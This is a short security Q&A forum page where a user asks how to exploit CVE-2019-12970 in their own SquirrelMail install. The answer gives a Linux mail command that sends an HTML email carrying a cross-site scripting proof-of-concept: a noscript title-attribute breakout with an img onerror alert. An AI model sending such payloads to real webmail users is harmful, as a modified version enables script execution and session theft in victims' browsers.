Techbypass always tries to help you to learn about recent vulnerabilities and exploitations.

Learn and share your security findings and help others to secure their digital assets.

Need any help mail to [email protected]

0 votes
How can I exploit my SquirrelMail against this CVE-2019-12970?
by (169 points)

1 Answer

0 votes

To exploit this you need to use the Linux mail command. Like this

mail -a "Content-type: text/html" -s "My little pony" \
        [email protected] <<EOD
<html><head></head><body>
<noscript>
<p title="</noscript><img src=x onerror=alert(2)>"></p>
</noscript>
</body></html>
EOD

by (269 points)
...